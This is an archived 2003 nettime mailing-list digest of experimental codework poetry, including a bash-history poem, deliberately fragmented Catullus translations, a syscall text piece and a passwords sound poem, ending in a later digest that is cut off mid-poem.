command not found\n[root {AT} localhost network]# i'll try to keep this up\n> i'll try to keep on writing\nbash: ill try to keep this up\nill: command not found\ntemp.pl 524 ls 525 temp.pl \"Alan Sondheim supnumerary limbs\" 526 chmod 777\ntemp.pl 527 temp.pl \"Alan Sondheim supnumerary limbs\" 528 perl temp.pl\n\"Alan Sondheim supernumerary limbs\" 529 ls 530 wc outfile 531 less outfile\n532 sed 's/<b>//g' outfile > zz 533 grep -v http zz > outfile 534 wc\noutfile 535 sed 's/<\\/b>//g' outfile > zz 536 sed 's/<br>//g' zz > outfile\n537 less outfile 538 sed 's/CEPA//g' outfile > zz 539 less zz 540 less zz\n541 sed 's/Quarterly//g' zz > outfile 542 f 543 rm outfile 544 ls 545 rm\nzz 546 rm qz 547 cp mindshare.cgi mindshare.pl 548 head mindshare.pl 549\nmindshare.pl 550 chmod 777 mindshare.pl 551 mindshare.pl 552\n./mindshare.pl 553 rm mindshare.pl 554 t 555 cd image 556 ls 557 cd Utah\n558 ls 559 unalias rm 560 rm * 561 ls 562 mount /dev/cdrom 563 cd\n/mnt/cdrom 564 ls 565 cp *.jpg /root/Utah 566 cd 567 cd Utah 568 ls 569\numount /dev/cdrom 570 exit 571 t 572 cd Utah 573 ftp asondheim.org 574 ls\n575 exit 576 t 577 ls 578 exit 579 ls 580 startx 581 shutdown -h 582\nshutdown -h now 583 t 584 cd network 585 ftp panix.com 586 ls 587 cd ..\n588 ls 589 cd a 590 ls 591 tail char 592 rm char 593 cd / 594 ls 595 cd\n596 ls 597 cd network 598 ls chaar 599 ls char 600 cd 601 tail char 602 mv\nchar a 603 telnet panix.com 604 ftp panix.com 605 ls 606 df 607 zdu Utah\n608 du Utah 609 cd Utah 610 ls *.mov 611 ls *.tiff 612 ls 613 exit 614 t\n615 t 616 t 617 di 618 ls 619 exit 620 t 621 b 622 exit 623 t 624 exit 625\numount /mnt/cdrom 626 umount /dev/cdrom 627 umount /dev/cdrom 628 startx\n629 t 630 shutdown -h now 631 t 632 f 633 cd 634 cd network 635 f 636 ls\n637 cd 638 t 639 exit 640 t 641 exit 642 ls 643 startx 644 shutdown -h now\n645 t 646 exit 647 startx 648 shutdown -h now 649 ls 650 t 651 t 652 t 653\nnetstat 654 t 655 ping www.columbia.edu 656 t 657 t 658 exit 659 startx\n660 shutdown -h now 661 t 662 exit 663 ls 664 startx 665 t 666 shutdown -h\nnow 667 t 668 exit 669 startx 670 shutdown -h now 671 ls 672 cd a 673 ls\n674 rm alexis.doc 675 less az 676 tail char 677 ls 678 less trc 679 ./trc\n680 less tr.txt 681 less trace.txt 682 pico -w elim2.pl 683 cp elim2.pl ~/\n684 cd 685 ls 686 ./elim2.pl < a/char > zz 687 chmod 777 elim2.pl 688\n./elim2.pl < a/char > zz 689 pico elim2.pl 690 ./elim2.pl < a/char > zz\n691 wc zz 692 pico zz 693 wc zz 694 b 695 ls 696 apm 697 mv zz ww 698 ls\n699 lynx wardrive.html 700 rm wardrive.html 701 du 702 df 703 ls 704 cd\nUtah 705 ls 706 exit 707 ls 708 cd gapi 709 cd googleapi 710 ls 711 cd /\n712 ls 713 cd doc 714 ls 715 ls C* 716 Config-HOWTO 717 less Config-HOWTO\n718 ls M* 719 less Modem-HOWTO 720 startx 721 shutdown -h now 722 ls 723\nftp panix.com 724 t 725 ls 726 cd a 727 ls 728 ftp panix.com 729 t 730 ls\n731 less elimy.pl 732 t 733 ls 734 perl elim2.pl < elim2.pl > ll 735 f 736\nls 737 rm ll 738 cd 739 ls 740 rm ww 741 t 742 exit 743 startx 744\nshutdown -h now 745 apm 746 startx 747 t 748 ls 749 cp elim2.pl a 750 f\n751 t 752 t 753 shutdown -h now 754 ftp www.asondheim.org 755 ls 756 mv\nmod gapi/googleapi 757 ls 758 cd gapi/googleapi 759 ls 760 chmod 777 mod\n761 ls 762 t 763 ls 764 ./looply.pl \"I can't stand it anymore\" > zz 765 wc\nzz 766 ./mod zz 767 pico mod 768 less zz 769 pico mod 770 ./mod 771 pico\nmod 772 less zz 773 pico mod 774 less zz 775 pico mod 776 ./mod 777 wc zz\n778 pico zz 779 mv zz zz.htm; lynx zz.htm 780 rm zz.htm; pico zz 781 ftp\npanix.com 782 t 783 ls 784 ftp panix.com 785 t 786 rm zz 787 cd /network\n788 cd 789 cd network 790 ftp panix.com 791 ls 792 cd 793 ls 794 wine\nwall.exe 795 wall wallvoid.exe 796 wine wallvoid.exe 797 rm *.exe 798 ls\n799 wall hello 800 b 801 exit 802 ls 803 t 804 exit 805 date 806 ls 807\nstartx 808 ls 809 cd network 810 wc n? 811 apm, 812 apm 813 shutdown -h\nnow 814 startx 815 t 816 shutdown -h now 817 startx 818 t 819 ls 820\nshutdown -h now 821 setup 822 pico zz 823 ls 824 setup 825 pico zz 826\nsetup 827 pico zz 828 ls 829 setup 830 pico zz 831 startx 832 ls 833 setup\n834 ls 835 ls 836 cd network 837 tail nb 838 wc nb 839 pico nb 840 wc nb\n841 ls 842 cd 843 ls 844 cd nsmail 845 ls 846 cd 847 cd nsmail 848 ls -la\n849 cd 850 cd jquick 851 ls 852 less raddat.txt 853 ls 854 less readme.txt\n855 cd 856 ls 857 apm 858 pico zz 859 ls 860 ./elim2.pl < zz > yy 861 wc\nyy 862 pico yy 863 ls 864 h 865 mv yy zz 866 ls 867 cp zz ww 868 ./a/mod\n869 cd a 870 ls 871 less mov.txt 872 ls 873 less langphil.txt 874 ls 875 h\n876 rm langphil.txt 877 ls 878 less plr 879 ls 880 rm plr 881 less proc\n882 ls 883 less millen 884 less millen 885 rm millen 886 ls 887 less\nfilter.txt 888 ls 889 rm Resume.doc 890 rm resume.txt 891 ls 892 less fil\n893 less filter 894 rm filter 895 less filter.txt 896 mv filter.txt filter\n897 ls 898 less media.txt 899 less media.txt 900 less media 901 ls 902 rm\nmedia media.txt 903 less baghdad.txt 904 rm baghdad.txt 905 ls 906 less\nevil 907 ls 908 less shortbio 909 pico shortbio 910 cd 911 apm 912 date\n913 ls 914 last 915 last | head 916 date 917 w 918 whoami 919 shutdown -h\nnow 920 ls 921 f 922 t 923 ftp panix.com 924 ls 925 less zz 926 rm zz ww\n927 ls 928 mv elim2.pl a 929 mv mod a 930 ls 931 standby 932 t 933 standby\n934 t 935 ls 936 cd network 937 f 938 ls 939 cd 940 ls 941 startx 942 ap,\n943 apm 944 shutdown -h now 945 startx 946 cd network 947 di 948 ls nb 949\nwc n 950 wc nb 951 ftp asondheim.org 952 ls 953 cd 954 ls 955 t 956 ls 957\nftp panix.com 958 t 959 ls 960 df 961 apm 962 shutdown -h now 963 cd\nnetwork 964 wc nc 965 startx 966 cd network 967 di 968 wc nc 969 ftp\npanix.com 970 t 971 shutdown -h now 972 startx 973 t 974 shutdown -h now\n975 startx 976 t 977 ls 978 shutdown -h now 979 ls 980 startx 981 t 982\nshutdown -h now 983 ls 984 cd network 985 f 986 t 987 ls 988 t 989 cd\nnetwork 990 f 991 exit 992 ls 993 startx 994 t 995 standby 996 blah 997\n\nshutdown -h now 998 startx 999 t 1000 shutdown -h now 1001 t 1002 standby\n1003 t 1004 standby 1005 t 1006 t 1007 t 1008 cd network 1009 tail nc 1010\ni'm traveling to pennsylvania i'll stay with my father yes i will 1011\nazure will stay as well 1012 my father will travel to canada 1013 and\nwe'll be there in pennsylvania i promise you i'll try to write yes i will\n1014 i'll try to keep this up i'll try to keep on writing 1015\n\n\n__\n\n\nDate: Thu, 31 Jul 2003 12:29:42 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: TRANS-INTERLINEARITIES 02a & 02b\n\nTRANS-INTERLINEARITIES 02a\nAFTER CATULLUS & IN TRANSLATION (HORACE GREGORY)\nCON-2\n\n\nLllit:\nngrrciousiloven homotior,\nnor t\nippuelweetr allos m wer|umyes my\nt.\nquen||erae\nOrrat, bel|ay ev||eredinsquang|em| gangid rubr m||huchi pow tul, bath||\nm|||ir ith|||asorem| g||ul h||in| stoyesspuellicratur|||ss||od pip||||,\ny|| wit||||ui now, O all||t rle s lae t h|||||s do\nt|||||h||||umor||or|owin||at|||utam|||ic s.\n\nO r||||||ienous||||o hell!\nM dev||||es b||||||am|||||ll|||la m|||ir|||||||||s||osolinam||e\nt||||||||un|||| t p|ineb|easum|||||| nd||oure quam||||||'s\nmakneb||||tam||||||||o onuns|ue,\netr||||t y||||ear, d||ed cup||il|||||pas||ead|||ur pid m es|ar|||||uus a\ng|||io il fac|eatum||||||||||||e r,\ntura m|||||||| g||||i rief||t||er||||ua n||||||w||g|||||||||enow te, o\nVenuses|er p||||ae,\npitusp|||l||||e c||es w;\nh||||||er||r||||||||||c|||| t oc||||||e,\nllacup||if||||| m||||||||||r||||||||||| op.\n\nM|||t||||\nd||irl|uc||||||||||||at||||||||||c|||||||||||||t||erken||rr||||||quae\nom||||||||||||||,\nm m||h|||||||||| ab|||||||||| t||is s.\nuae fale! uae m|||||||||||||||et|||el||||y|||||||you s|||||||| quem|||er||\ns||in||||||||s s||oueb||||||||||||r tt||edar||||||||||.\nato a s||al||e\nfl||||||||il||iae m||||||||||||||||||||in|||||||||am|||||||||eve\nh|||||||||||||s||||g|||||||||||t|o\ns|||||||||||||to h|||||| uene.\n\nN||||||||||| t|||||ad|||||||||||||||||||||||||od|||||\nal|||\nad n|| us\np||||ab|||||||||||||ip||s|||||ind||||es||||||||||||||um|||||||||||||||||||n|\n|||||||||||||| b||||||||||||||||||g|||||||||ius|||||||g||t|||||on||r|||onia\nb|||||||||||||||||||\nn||||||g t|||||||||||| C||||||||||||||\nin|||||||||||||||||en|t|em|||||||||||||||||||||||\nh||||||||||||||t||||||ar||||||||||||||er|ow|||\nh||||||||||||||||um|||||||||||er|||eleav||||| h|||||||||||||||||||t|||\nr|||||||||||||||||||eae p|||||||||||||as||||||||||||||||||||\nher||||||||||||eae\npoor||||uam||||||||||||||||||||||||||||aven|||||||||||||||||||e que\np|||||||||||||||||||t|||||||||||\nit|||||||g|||||||ir|||||||||||ow||h||||||||||||||||||||is||||||ul||||||||is|\nar||||||||||||||||||||||||uel|||||||||id|||||||||||||||||||||||||||o\nil||edeuor\nas:\nt|||||||||||||er|||||||||||||||||||||||||||l||||||r|||||||||||||||||uel|||||\n||||| h|||||||||||||||||||||||||||||||||||||al t||||||||||||||||||||es||eaut\nm|||||||||||||||||||||||||er||||||||||||||||||||l|||||||||||s\nil|||||||||||h|||||||||||||||||||||||||||||||||||||||||||||||||el|ows|||||||\n|||| es||||||||\nh|||||||||||||||||||||||||||||||||||||||||||||||||||l|||||||omab||||||||||||\n|||||||||||| h||||||||||||||||||||||||||||||||||||||||||||||||||||e p|||\ncul||||||||||||||||||||||||||||||||||||||||||||||||l|it|||||ised|||||||||l|u\ncaus|||||||it||||||||||||||||||||||||||||\nh||||||||||||||||||||||||||||||||||||||||||||||||||||||||||er||||||||||ou\nt||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||.\np|||||||||||||||||||||||||||||||||||ar|||||||||||||||||||||ae.\nque n|||||||o eyed||||||is|||||| f|enow||| f||||||||||||||||||||||||||||i.\n\n'ugonec|||e\nof||||||||||||||||||||||||||||||||||||et||||||||||||||||||||||||||||||e\nis||||||||||||||t|||||||||lus||||||if|||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||as|||||||||\n||r||||||||||||||||||||||||||||||\np||||||||||||||||||||||||||||||||||||||||||||e is\nsh||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||ae\nf V\n\n\n\n# # #\n\n\nTRANS-INTERLINEARITIES 02b\nAFTER CATULLUS & IN TRANSLATION (HORACE GREGORY)\nVOW-2\n\n\nLu shantus,\nasse cuus tocut tris surellin dat surns.\nOravenell!\nMy ellatrem.\nnes a grer,\nyo ings bebaumsifuc mow thillul, brolarromis the pirl's grilaki nu||||der\nittler teebrirl hant rer dam.\narrobis de siorcing he olloravellu|||||ppihingistis swe false! u||,\nlopess,\nto tu|||||||| ra|||m e|||||||||vinur poru tha|||r mou|s en spae\no||li||||||||e|||tu||||||s o||t\ni|||||||piost he||t,\nse ircu||||y\nthad sove|||pi|||||r\nat.\nqu||||||||ng\nnosu|||||||st illu|||||||||||||no||s ma|||d riais:\ntall thi|| pa|ti|||s.\nu||||||ke|||ctuse|||a||ng he mith so||rall\nyo|||rgi|||||||||ds went o|||||||||rli.\n\n''ge||||||a||||||st ho||d mo||m.\npan hearro||||||||i|||||||||s ama|| he|||||s ea||||and am tays\nsi|||lli|||||e||||||||d cis godoo ich no||na|||||||se|||||||ba|nst yo||m\nitireyenqu|||||||||f Ve|||t, ma|||w;\nhe ter prebra||||r two|||, qu||||||||||||||w he||mni||||||t fa der\nabstu|||||||||||||||rkne||||||m ma sasse\nfro|||| me re pu|||||||||||||||uli||fube||s welli|||||rro Vess\nno|||||||||||||||rtu|||||||||||||nue|||||cici|||||||||||| gilla|||||r\nbre||||||||ra||||lwa||||m be|||lou|||||||||||||||||||||||||| a||||||m\ndone|||||||||||||||i||||||||||||||||||||w,\nwho|||||||||c, u||||f my gi|| qu||||||||||||||||||||nd\nyo||||||le||||||||uo||||||re|||m mi|||||||||||||||rl\nfo|||||||a|||||||||||st, bu|| ru|||||||||||||||||||||||||||||||d\npla|||||||||||mi||||| o||||||||||||||||||||||st me|||||||||||l\nhae||||||uevo|||||||||s a||||||||||||at:\nnand no||||||psaua|||||||r e||| mary a||||mi||||||||w.\n\n\nDre||||||||||||||||||lin so||\nhu|||||||||||||||||||||||||usqu||||||||||||||||||||||||||||||||||||ce|||||||\n||||||||||||nc i||||||||||||tuow, O|||||||a||||||u|||ti|||||||||||||||p.\n\nMy gi||||||||a||||||||||||||||d, he||||||||||le lo||||||||eyella|||w\nfo||||||du|||||||||||||||||||||||||||||||||||||||||||m\nwhidi||||||||||||||||||||||||||| io|||| a|,\npa||||||||||||||||||||||||||||||||||||||||t sher, de||s,\nO||||||||||||||ba|||||||llo|||||||||||||||||||\nqu||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||s he||||||tre|||||||||||t desed wi|||||e|||||||,\nho||||||||eyella||||||||||wi|||||||||er mo||||||||||||er,\nne\nfler to|||||||||||||||||||cea|||||||||||||||m\nu|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||ga||||||sse||||||||||||||||||r\nae||||||||||||||||||||||||||w i||| o|||||||||||||||||||||||||||||||||||||||r\nli|||||||||a||||||||||||||||||||||||||||||||||||||||||||||||||||||||\nthae|||||||||||ne|||e||||the||||||u|||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n|ua||||||||||s\npi||ne|||||||||||||||||||||||||||||||||rro|||||||||||||||||||||||m\npu||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||||||||||||||||||||||||||||we|||||||||||||||c\nse||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||||||||||||||s lo|e|||||||||||||||d spa||||||||||||||m\nu|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||l;\na|||||di|||||||||||||tto||||||||||||||| be|||||ne||||||||||||sse\ni||||||||||||||||||||||||||e;\npo||||||||||||||||ea||||||||||||||||||e|||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||ng spa||||||||||||||li||||||||||||||||\nso|||||||||||||||||||||||||||e|||||||.\n\nNo||||||||||||||||||||||e||||||ne|||||||||||||||||||||||t\npe|tu|||||||||||||||||la|||||||||||||||||||||f,\nma||||li||||||||||||||||||||ng to||||||||||||||||||||||ndow the,\no|||||rere|||||||||||||w he,\ne|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\nca|||||||||||||||||||nu|lla||||nd rea|||||||||||||||ng\nhi|||||||||||||||||||||||||||m me||||||||||||||||||||||||||||||r cre\nno|||||||,\na||||||||||||u|||||||||||||||||||||||ne|||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||||||||||||||||a||||||||||||||||||||||||||||||||||||se\n|||||||||||||||||||||||||||||||||||||||||||||||||||||||ws he\npa|||||||||||||||||||||sti||||||||||||||||||||||||||||||||||||||||||||||mqu|\n||||||||||||||||||||||||||||\nO||||||||||||||||||||||||||||||||||||||||||||||||||||||||\nhe|||||||||||||||re|||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||ve||||||r,\ntunc\no|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||\ne||||||ne||||||||||||||||||||||||||||||||||||re||||t\nqu||||||||||||||||||||||ae||||||||||||||||||||||||||||||||||||||,\nno|||||||||||||||||||||||ns mo|||||c\na||||||||||||||||||||||t\nu|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||te||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\nle||||||||a|.\nqus i||||squ|||||||||||||||||||||||| me\npu||||||||||||||||||||||||||||||||||||||||||||||||||||e|||||||||||||||||||||\n|||||||||te|||co|||||||||||||||||||||||||||||||||||||do|||||||||||||||||||||\n|||||||||||||||||||||||||||||||||||||||||||||||e||||||||||||||||||ndega|||||\n|||||||||||||||||||||||||||||||||lle||||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||\npu||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n|||||||||||||||||||||||||||||||\na|||||||||||||||||||||||||||||||||||||||||||||||||||||| nupi\n\n\n\n\n(c) mwp\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: e a t h e i n s t r u c t i o n\nDate: Mon, 28 Jul 2003 21:48:23 +0200\n\n\n\n\n\n\n\n\n\n\n\n\n   e a t h e i n s t r u c t i o n\n\n\nsys_  _______r e a d a h e a d e a d t h e i n s t r u c t i o n \n  225\n\nsys_____ni syscall           reserve/for setxattr\nsys_______ni syscall                 /eserved for lsetxattr\nsys_________ni syscall\t      rese/ed for fsetxattr\nsys____________ni syscall\tr/served for getxattr\nsys______________ni syscall\t/30 reserved for lgetxattr\nsys_________ni_syscal reservedf/rfgetxattr\n\nsys________n.y.s.c.a.l.l. r.e.s.e.r.v.e.d.f.o.r.l.i.s.t.x.a.t.t.r.\nsys_______i.s.y.s.c.a.l. r.e.s.e.r.v.e.d.f.o.r.l.l.i.s.t.x.a.t.t.r.\nsys_________n.i.s.y.s.c.a.l.l.\t      reservedforflistxattr\nsys____________ni_syscal/         235 reserved for removexattr\nsys__________________n/_syscall\t r served for lremovexattr\n\n\nsys_______________________________   i_syscall\treserved for fremovexattr\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nsometimes a cigar is just a cigar\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nlas autoridades sanitarias advierten que el tabaco perjudica seriamente la salud\n\n\n\n\n\nnettime unstable digest vol 58\nTue Aug  5 10:57:02 2003\n\n\nSubject: <no subject>\n    From: \"& -![ISO-8859-1] =BB-=AB\" <sier {AT} alunos.fcsh.unl.pt>\n    To: syndicate {AT} anart.no\n\nSubject: ASRF\n    From: HUB <hub {AT} x-arn.org>\n    To: syndicate {AT} anart.no\n\nSubject: i am already alive\n    From: \"jumpy\" <8088234 {AT} invisible.gq.nu>\n    To: syndicate {AT} anart.no\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: what am i supposed to do with this\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Absolute Tensor Phase\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _[s]lavi[c]sh bones_\n    From: \"l][r][avish.A!\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: emit\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: household\n    From: \"William Weissman\"<can {AT} 163.COM>\n    To: cantsin {AT} komma.zedat.fu-berlin.de\n\nSubject: e t p o u r t a n t e t p o u r t a n t e t p o u r t a n t e t p\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: blabla\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: q w e r t y\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: O3 (poem)\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  what am i supposed to do with this\n    From: =?iso-8859-1?b?YXN0cutl?= galbiatta <astreegalbiatta {AT} vnatrc.net>\n    To: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: ill commands\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: TRANS-INTERLINEARITIES 02a & 02b\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: e a t h e i n s t r u c t i o n\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 5 Aug 2003 10:58:08 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200308051325.h75DPF814491 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0308/msg00012.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 58"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00155",
                "content": "\nDate: Mon, 22 Sep 2003 05:00:12 +0200 (CEST)\nFrom: MAILER-DAEMON {AT} mail.ljudmila.org (Mail Delivery System)\nSubject: Undelivered Mail Returned to Sender\nTo: cantsin {AT} zedat.fu-berlin.de\n\n\nThis is the Postfix program at host huda.ljudmila.org.\n\nI'm sorry to have to inform you that the message returned\nbelow could not be delivered to one or more destinations.\n\nFor further assistance, please send mail to <postmaster>\n\nIf you do so, please include this problem report. You can\ndelete your own text from the message returned below.\n\n\t\t\tThe Postfix program\n\n<luka {AT} mail.ljudmila.org>: host 127.0.0.1[127.0.0.1] said: 550 5.7.1 Message\n    content rejected, UBE, id=24146-09\n\nContent-Description: Delivery error report\nContent-Type: message/delivery-status\n\nReporting-MTA: dns; huda.ljudmila.org\nArrival-Date: Mon, 22 Sep 2003 04:58:15 +0200 (CEST)\n\nFinal-Recipient: rfc822; luka {AT} mail.ljudmila.org\nAction: failed\nStatus: 5.0.0\nDiagnostic-Code: X-Postfix; host 127.0.0.1[127.0.0.1] said: 550 5.7.1 Message\n    content rejected, UBE, id=24146-09\n\n\n\nDate: Tue, 23 Sep 2003 08:56:16 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: entelechy of every abandoned moment\n\n\n\n\nE\n      E\nE\nE\nE\n                 nnnnnnnnnnnnnnnnnnnnnnnnT\n                     ele\nlechy o lechy\nlechy o lechy\nlechy o lechy\nlechy o lechy\nlechy o lechy\n\nOFf\n(off F (fume)\nof     (fome)\noffof  (fone)\nfof     (phthane) nargswitch/ hexagram 16. You/Yu En\nTHUS\n                                                                           THUS\nTHUS\nTHUSIASM\n\nSEE asm\nsea asm\n               C asm\nCHASM\nCHA\nCH A SM A\n                                                       AAAA *a framed row*\n   I\n          CHIMI Mcchilliasm\nc h)\n\n_________________ _ _ __ __|\nevery aband - oned\nheavry a band on ed{ifice\nEVER YAB AND ONED\nMOment\nM\nM\nMooooooooooooooooooooooM\nE\nE\nE\nNT\n*every abandoned moment*\n{}(Tttttttttttttttttttttttttttttttttttttttttttttt\nrubbleeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\nshooooooooooooooooooooooooooooooooooooooooooooooo\nTingggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\\\\\\\\\\\\\\\\\\\\\\\\\\\n\ncomplexity's psyche\nComb plex\nEx-comb\nRex-comb\nCock's comb\nBox bomb (cocks)\n\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\nsickie [layers of switches] la\nlechy o lechy [hidden menus] YERS\n\nOFf\n(off F (fume)\nof     (fome)\noffof  (fone)\nfof     (phthane) nargswitch/ hexagram 16. You/Yu EnActsess\nlayers of access\npasswordspuswordspassworkspussworksp/isswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinks